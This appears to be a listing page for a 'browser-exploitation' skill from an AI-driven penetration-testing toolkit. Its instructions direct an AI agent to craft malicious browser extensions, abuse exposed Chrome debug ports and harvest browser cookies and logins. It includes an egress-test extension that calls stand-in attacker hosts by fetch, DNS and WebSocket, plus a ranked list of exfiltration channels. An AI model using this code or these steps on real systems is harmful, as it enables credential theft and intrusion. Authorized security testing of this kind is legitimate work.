acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.
$ npx -y skills add blacklanternsecurity/red-run --skill browser-exploitation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/browser-exploitationContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.
name: browser-exploitation description: > Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts. keywords: - chrome extension - firefox extension - manifest v3 - manifest v2 - content_script - service_worker - background script - devtools protocol - CDP - remote debugging - port 9222 - browser cache - browser profile - cookies sqlite - login data - headless chrome - puppeteer - selenium - playwright tools: - curl - chrome - chromium opsec: medium
You are helping a penetration tester exploit browser-based attack surfaces. This covers three attack areas: malicious browser extension crafting (for bot/upload scenarios), Chrome DevTools Protocol abuse (exposed debug ports), and browser profile data extraction (post-exploit). All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `extension-exfil-cookies.txt`, `cdp-file-read.txt`).
This skill covers browser-based exploitation — extension crafting, CDP abuse, and profile extraction. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — **STOP**.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Write actionable findings **immediately** via state so the orchestrator can react in real time:
Your return summary must include:
**NEVER download, clone, install, or build tools.** The operator's attackbox has a curated toolset — do not modify it. If a tool required by this skill is not installed, STOP and return to the orchestrator with the missing tool name.
Prerequisites vary by attack area:
attacker-supplied extensions. Knowledge of manifest version (V2 or V3).
(9222, 9229, or similar).
installed (Chrome, Chromium, Firefox).
Determine which attack vector applies:
1. **Extension upload endpoint found** (upload form, API accepting .zip/.crx) → proceed to Step 2 (Section A) 2. **Exposed debug port** (9222, 9229, other debug ports detected by nmap) → proceed to Step 3 (Section B) 3. **Shell access with browser installed** (post-exploit credential harvesting) → proceed to Step 4 (Section C)
If the orchestrator provided context specifying which section, skip directly to it.
---
**Before crafting exploit extensions**, determine what outbound channels reach your attackbox. This prevents wasting iterations on blocked exfil methods.
Create a test extension that tries multiple egress methods:
**Manifest V3 egress test:**
{
"manifest_version": 3,
"name": "Egress Test",
"version": "1.0",
"permissions": ["activeTab"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["test.js"]
}]
}**test.js:**
// Test HTTP egress to attacker
fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
.catch(()=>{});
// Test DNS egress (image load triggers DNS lookup)
new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';
// Test WebSocket
try { new WebSocket('ws://ATTACKBOX:PORT/egress-ws'); } catch(e) {}Start an HTTP listener on your attackbox (`python3 -m http.server PORT`) and check which callbacks arrive. Use the first method that works.
**Egress priority:** 1. `fetch()` POST to attacker HTTP listener — most reliable, largest payloads 2. DNS exfil via subdomain lookups — works when HTTP is blocked 3. WebSocket to attacker — persistent connection for streaming data 4. `navigator.sendBeacon()` — fire-and-forget, limited payload size
Modern Chrome uses Manifest V3. Content scripts run in page context; service workers
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
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